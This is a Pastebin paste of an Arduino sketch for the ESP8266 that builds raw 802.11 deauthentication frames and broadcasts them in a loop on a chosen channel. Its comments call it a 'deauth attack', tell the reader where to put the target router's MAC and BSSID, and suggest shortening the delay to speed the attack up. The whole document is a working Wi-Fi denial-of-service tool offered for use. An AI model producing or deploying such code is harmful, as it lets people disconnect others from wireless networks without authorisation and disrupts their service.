Advertisement
pleasedontcode

Step-by-Step Deauther Code

Oct 7th, 2024
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Arduino 1.91 KB | Source Code | 0 0
  1. #include <ESP8266WiFi.h>
  2.  
  3. // Define the packet structure for the deauthentication frames
  4. uint8_t deauthPacket[26] = {
  5.   0xC0, 0x00,             // Frame Control (Type: Management, Subtype: Deauthentication)
  6.   0x3A, 0x01,             // Duration
  7.   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   // Destination MAC (Broadcast)
  8.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   // Source MAC (Change to match your router's MAC)
  9.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   // BSSID (Change to match your router's BSSID)
  10.   0x00, 0x00,             // Fragment/Sequence Number
  11.   0x07, 0x00              // Reason Code (0x07: Class 3 frame received from non-associated station)
  12. };
  13.  
  14. // Set the channel for your deauth attack
  15. void setChannel(int channel) {
  16.   if (channel < 1 || channel > 13) {
  17.     channel = 1;
  18.   }
  19.   WiFi.begin();            // Start the WiFi module
  20.   WiFi.disconnect();        // Disconnect from any network
  21.   delay(100);               // Give time to reset
  22.   wifi_set_channel(channel); // Set WiFi to the specific channel
  23. }
  24.  
  25. void sendDeauth() {
  26.   // Start the deauth attack by sending out deauthentication frames
  27.   for (int i = 0; i < 100; i++) {
  28.     delay(1); // Reduce this delay to speed up the attack
  29.     wifi_send_pkt_freedom(deauthPacket, 26, 0); // Send the packet
  30.   }
  31. }
  32.  
  33. void setup() {
  34.   // Setup WiFi in monitor mode for sending raw packets
  35.   Serial.begin(115200);
  36.   Serial.println("Starting Wi-Fi Deauther");
  37.  
  38.   WiFi.mode(WIFI_OFF);  // Disable WiFi connection mode
  39.   WiFi.forceSleepBegin();
  40.   delay(1);
  41.  
  42.   // Set the WiFi interface in promiscuous mode
  43.   wifi_set_opmode(STATION_MODE);
  44.   wifi_promiscuous_enable(1);
  45. }
  46.  
  47. void loop() {
  48.   // Specify the Wi-Fi channel you want to target
  49.   setChannel(6); // Replace '6' with the channel of the target network
  50.  
  51.   // Call the function to send deauthentication frames
  52.   sendDeauth();
  53.  
  54.   delay(1000);  // Wait for a second before next round of deauthentication
  55. }
  56.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement